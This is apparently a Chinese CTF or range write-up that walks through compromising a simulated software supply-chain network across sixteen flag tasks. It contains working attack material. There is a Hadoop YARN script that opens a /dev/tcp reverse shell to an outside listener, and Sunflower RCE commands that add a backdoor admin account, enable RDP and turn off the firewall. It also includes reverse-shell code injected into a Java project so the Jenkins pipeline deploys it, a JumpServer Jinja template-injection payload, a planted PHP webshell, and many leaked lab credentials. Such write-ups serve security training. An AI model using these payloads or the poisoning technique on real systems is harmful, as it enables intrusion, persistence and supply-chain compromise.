该场景模拟软件供应链业务逻辑,对作为公司供应链全流程的相关业务进行仿真,模拟供应链相关的生产网段、开发运维网段、运营商网段、测试网段,攻击者需要利用信息收集、漏洞扫描、WEB 漏洞利用、数据库漏洞利用、权限提升、代理转发等手段进行渗透
外网端口扫描
# 任务 1
拿下外网禅道服务器权限,并提交根目录下的 flag
登录禅道系统,F12 查看到版本是 18.0.beta1 ,该版本存在 RCE
尝试工具利用,成功执行命令
查看根目录 flag
# 任务 2
登录禅道后台,提交禅道后台的 flag
通过 RCE 上线到 vshell
查看配置中的数据库密码
搭隧道连接数据库,查看 zt_user 表
管理员密码无法 md5 反查,直接修改为一个弱口令 123456
登入系统查看到 flag
# 任务 3
拿下内网 Hadoop 权限,并提交 flag
扫内网 10.10.200.0/24 网段
10.10.200.11:8088 有 /cluster 路径,访问查看直接打开了 Hadoop Web 管理界面
执行脚本创建恶意应用执行 RCE
import requests | |
#python3 | |
target = 'http://10.10.200.11:8088/' # Hadoop 地址 | |
lhost = '47.*.*.*' # nc 监听地址 | |
url = target + 'ws/v1/cluster/apps/new-application' | |
resp = requests.post(url) | |
print(resp.text) | |
app_id = resp.json()['application-id'] | |
url = target + 'ws/v1/cluster/apps' | |
data = { | |
'application-id': app_id, | |
'application-name': 'get-shell', | |
'am-container-spec': { | |
'commands': { | |
'command': f'/bin/bash -i >& /dev/tcp/{lhost}/43210 0>&1', | |
}, | |
}, | |
'application-type': 'YARN', | |
} | |
print(data) | |
requests.post(url,json=data) |
反弹 shell

# 任务 4
到邮件服务器中看看呢?
在禅道系统后台 - 邮件页面可以看到已配置邮件服务器,但是前端不显示密码
在数据库 zt_config 表中可以查看
登录 webmail,flag 在已发送邮件中
# 任务 5
FTP 服务中好像有 flag?
邮箱中保存了密码 ftp/wsfxsdfrsaqwczdsa
扫内网开放的 21 端口
利用获取到的密码登录

# 任务 6
OpenVPN 好像能通到 172.16.10.0/24 段?
压缩包给了很多个 ovpn 配置, 1194 是 ovpn 默认端口,修改连接 IP 为公网入口 IP

连接 vpn 后根据提示扫描 172.16.10.0/24 网段(需要 -np -p 1-65535 扫描全量端口,花时间很长)
存在一个 windows 主机 172.16.10.88 ,开放了 49157 端口识别为向日葵

利用工具尝试 RCE,成功执行
执行命令,添加后门用户,开启远程桌面,关闭防火墙
xrkRce.exe -t rce -h 172.16.10.88 -p 49157 -c "net user hack pass@123 /add" | |
xrkRce.exe -t rce -h 172.16.10.88 -p 49157 -c "net localgroup administrators hack /add" | |
xrkRce.exe -t rce -h 172.16.10.88 -p 49157 -c 'reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f' | |
xrkRce.exe -t rce -h 172.16.10.88 -p 49157 -c "netsh advfirewall set allprofiles state off" |

在 Administrator 用户的桌面下找到 flag
Docker registry:
pineapple/123qwe2wsxcde3
Jenkins(未使用):
yujian/Yujian123!@#
JumpServer:
admin/78dfghiugrhsdiuhiuasrh
# 任务 7
提交 Gitea 后台 flag
在 Administrator 用户目录下看到有 git bash history,编辑了 .git/config
桌面 pineapple 目录下有 .git/config ,查看发现有 10.10.10.10:3000 的路径配置
[core] | |
repositoryformatversion = 0 | |
filemode = false | |
bare = false | |
logallrefupdates = true | |
symlinks = false | |
ignorecase = true | |
[remote "origin"] | |
url = http://yujian:xgMZCiP6gfusWj3@10.10.10.10:3000/Pineapple/Pineapple.git | |
fetch = +refs/heads/*:refs/remotes/origin/* | |
[branch "master"] | |
remote = origin | |
merge = refs/heads/master | |
[user] | |
name = yujian | |
email = yujian@mail.yym1ng.com |
但是在 windows 下是无法直接访问的
实际上连接 vpn 后的网络就能直接访问
根据配置文件的密码 yujian/xgMZCiP6gfusWj3 登录

# 任务 8
尝试对生产环境投毒!拿下投毒后容器的权限,并获取容器 uname -r 的执行结果,将执行结果 md5 加密后包裹
flag{}进行提交
看到 gitea 中有几个项目,先把 windows 中的 Pineapple 目录拖出来
回退到 master 分支,与 gitea 中保持一致
git reset --hard origin/master | |
git pull |

可以看到项目是若依框架,尝试在其中添加恶意代码,在容器部署时执行反弹 shell
入口文件为 ruoyi-admin/src/main/java/com/ruoyi/RuoYiApplication.java
由于不清楚容器的出网情况,这里可以借助内网 windows 机器接收反弹 shell
try { | |
String[] cmd = {"/bin/bash", "-c", "/bin/bash -i >& /dev/tcp/172.16.10.88/29999 0>&1"}; | |
Runtime.getRuntime().exec(cmd); | |
} catch (Exception e) { | |
} |

开启 nc 监听
push 更改

push 后会触发 Jenkins 构建并部署,等待一段时间(10 分钟),成功反弹 shell


# 任务 9
拿下商城管理系统并提交 flag
回到 10.10.200.0/24 的扫描结果
商城管理系统地址 10.10.200.45 (实际上开放了公网地址端口 20082 ,但是直接扫 1-65535 扫不出来)

看到响应头中有 PHP 版本,考虑 Thinkphp 框架
利用工具扫描,存在漏洞


# 任务 10
找找哪里存在有意思的镜像?提交镜像中的 flag
商城系统实际上有两个容器,另一个是公网地址端口 20082 ,但是直接扫 1-65535 扫不出来

公网地址的这个环境通向网段 10.10.100.10/24 ,扫描该网段
10.10.100.1:80 open | |
10.10.100.55:22 open | |
10.10.100.35:80 open | |
10.10.100.60:80 open | |
10.10.100.55:80 open | |
10.10.100.45:80 open | |
10.10.100.1:22 open | |
10.10.100.10:22 open | |
10.10.100.1:443 open | |
10.10.100.3:3306 open | |
10.10.100.45:3306 open | |
10.10.100.2:6379 open | |
10.10.100.1:8080 open | |
10.10.100.66:8080 open | |
10.10.100.60:8080 open | |
10.10.100.1:9000 open | |
10.10.100.99:9000 open | |
10.10.100.10:3000 open | |
10.10.100.60:5555 open | |
10.10.100.60:8081 open | |
10.10.100.60:8082 open | |
10.10.100.60:8083 open | |
10.10.100.1:9001 open | |
10.10.100.99:9001 open | |
10.10.100.60:9091 open | |
10.10.100.60:9092 open | |
10.10.100.53:10000 open | |
[*] alive ports len is: 27 | |
start vulscan | |
[*] WebTitle http://10.10.100.1 code:302 len:0 title:None 跳转url: http://10.10.100.1/webmail/ | |
[*] WebTitle http://10.10.100.99:9000 code:307 len:60 title:None 跳转url: http://10.10.100.99:9001 | |
[*] WebTitle http://10.10.100.45 code:200 len:11469 title:商城系统登录 | |
[*] WebTitle http://10.10.100.66:8080 code:403 len:589 title:None | |
[*] WebTitle http://10.10.100.60:8083 code:404 len:18 title:None | |
[*] WebTitle https://10.10.100.1 code:302 len:0 title:None 跳转url: https://10.10.100.1/webmail/ | |
[*] WebTitle http://10.10.100.99:9001 code:200 len:1310 title:MinIO Console | |
[*] WebTitle http://10.10.100.1:9001 code:200 len:1310 title:MinIO Console | |
[*] WebTitle https://10.10.100.1/webmail/ code:200 len:5665 title:poste.io :: 欢迎使用 poste.io | |
[*] WebTitle http://10.10.100.35 code:200 len:69 title:None | |
[*] WebTitle http://10.10.100.99:9001 code:200 len:1310 title:MinIO Console | |
[*] WebTitle http://10.10.100.60 code:200 len:17065 title:"" | |
[*] WebTitle http://10.10.100.1:9000 code:307 len:59 title:None 跳转url: http://10.10.100.1:9001 | |
[*] WebTitle http://10.10.100.10:3000 code:200 len:13907 title:Pineapple_Gitea | |
[*] WebTitle http://10.10.100.1:8080 code:200 len:124 title:None | |
[*] WebTitle http://10.10.100.60:8081 code:404 len:18 title:None | |
[+] InfoScan http://10.10.100.1:8080 [禅道] | |
[*] WebTitle https://10.10.100.1/webmail/ code:200 len:5665 title:poste.io :: 欢迎使用 poste.io | |
[*] WebTitle http://10.10.100.1:9001 code:200 len:1310 title:MinIO Console | |
[*] WebTitle http://10.10.100.60:8082 code:404 len:431 title:HTTP Status 404 – Not Found | |
[+] InfoScan http://10.10.100.10:3000 [Gitea简易Git服务] | |
[*] WebTitle https://10.10.100.53:10000 code:200 len:4806 title:Login to Webmin | |
[*] WebTitle http://10.10.100.60:5555 code:404 len:69 title:404: Not Found | |
[*] WebTitle http://10.10.100.60:8080 code:302 len:0 title:None 跳转url: http://10.10.100.60:8080/core/auth/login/?next=/ | |
[*] WebTitle http://10.10.100.60:8080/core/auth/login/?next=/ code:200 len:13302 title:JumpServer 开源堡垒机 |
根据题目提示以及前面拿到的密码,环境中可能存在 docker registry,默认端口 5000,但是 fscan 不指定端口的情况下不会扫描,所以尝试 fscan -h 10.10.100.10/24 -p 5000 指定端口扫描
扫描 5000 端口路径,存在 /v2/_catalog
尝试访问,接口存在认证
利用前面获取的密码 pineapple/123qwe2wsxcde3 访问
curl -XGET -u pineapple:123qwe2wsxcde3 http://10.10.100.43:5000/v2/_catalog |

存在名称为 flag 的镜像,查看镜像信息
curl -XGET -u pineapple:123qwe2wsxcde3 http://10.10.100.43:5000/v2/flag/tags/list | |
curl -XGET -u pineapple:123qwe2wsxcde3 http://10.10.100.43:5000/v2/flag/manifests/latest |
先查看镜像 tag,只有一个 latest
然后查看 latest 的信息,存在写入 flag 的操作
# 任务 11
提交 Minio 中的 flag
docker registry 中还有一个 spring-boot-minio 镜像,查看镜像信息
里面有一个 jar 包,需要运行容器后提取出来分析
docker login 10.10.100.43:5000 # 输入用户名密码 | |
docker save 10.10.100.43:5000/spring-boot-minio:latest -o spring-boot-minio.tar.gz | |
docker load -i spring-boot-minio.tar.gz | |
# 或者直接 pull | |
docker pull 10.10.100.43:5000/spring-boot-minio:latest |
由于 docker 默认只支持 HTTPS 的远程仓库,如果出现 HTTP 错误,需要编辑配置文件
/etc/docker/daemon.json
然后重启 systemctl restart docker.service
进入容器,jar 包在根目录下
docker cp ce2:/sprint-boot-minio-0.6.0.jar ./ 复制
分析 jar 包,拿到 MinIO 的 ak/sk 和网页端用户名密码
#MinIO 对象存储,文件服务器 | |
minio: | |
endpoint: http://10.10.10.99:9000/ # 外网 API,文件上传地址(只支持 IP,不支持域名) | |
access-key: Vzggdhxq3K2KXed3vQ6S | |
secret-key: zf5XkTNlx2GJwcCywwoAZRx97pGgOfDCozw917J3 | |
#minio-user: admin | |
#minio-passwd: gygsud7gbskdbbxd3rtqak | |
file-obj-domain: http://10.3.4.78:9000/ #外网访问文件对象的域,例如:https://res.hackyle.com/ | |
endpoint-in: http://10.3.4.78:9000/ # 内网 API | |
bucket-name: images #本个项目所用的桶名 |
登录 MinIO,查看 flag
# 任务 12
JumpServer?好像存在历史漏洞
根据前面拿到的用户名密码 admin/78dfghiugrhsdiuhiuasrh 登录
版本为 3.10.6,存在 RCE 漏洞
JumpServer 漏洞复现 (CVE-2024-29201&CVE-2024-29202) | wh0am1i's 个人技术记录
查看资产列表,其中已有一个资产
添加一个 user 用户
将某个资产授权给该用户(创建后自动授权
以 user 身份登录,进入作业中心 - 模版管理 - Playbook,添加一个
然后进入工作空间编辑
- name: |
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{
x()._module.__builtins__["__import__"]("os").system("echo base64编码反弹shell命令|base64 -d|bash -i")
}}
{%endif%}
{%endfor%}

然后进入作业中心 - 作业管理,创建 Playbook 作业

保存后,执行该作业
接收到反弹 shell

# 任务 13
拿下 Jenkins 的 Agent 主机~
Jenkins agent 已经被默认添加进堡垒机的资源,实际上进到堡垒机后就能直接访问 SSH
另外这里还泄露了 Jenkins 的 Web 账户密码 Jenkins/6TGBsSfdfFWDNN234g6F5
# 任务 14
工资查询系统里好像有好看的?
工资系统是外网 20081 端口,弱口令 admin/123456 登录
在用户设置页面中有 flag
# 任务 15
拿下后台工资查询系统,尽情修改工资吧!
在工资系统的后台管理界面,存在可以编辑部分页面 HTML 的功能
尝试写入一句话木马
提交后,浏览器记录请求提交到 /wzszpost 接口,并且提示设置成功
但是现在并不清楚编辑的内容会反应在哪个页面
回到 gitea,除了 flag 项目以外还有两个代码审计项目,根据字符串内容得知 Code_Audit_it2 是工资系统对应的项目
把代码 clone 下来,搜索 wzszpost
git clone http://10.10.10.10:3000/Pineapple/Code_Audit_it2.git | |
cd Code_Audit_it2 | |
git reset --hard origin/master | |
git pull |

查看代码逻辑,该接口会把请求内容写入 config/wzsz.php
尝试访问页面,木马注入成功

# 任务 16
再拿下 Jenkins 主机的权限,结束撒花!
Jenkins 的 Web 页面地址为 10.10.100.66:8080
根据 agent 里泄露的账户 Jenkins/6TGBsSfdfFWDNN234g6F5 登录
账户是管理员权限,访问 /script 路径,执行脚本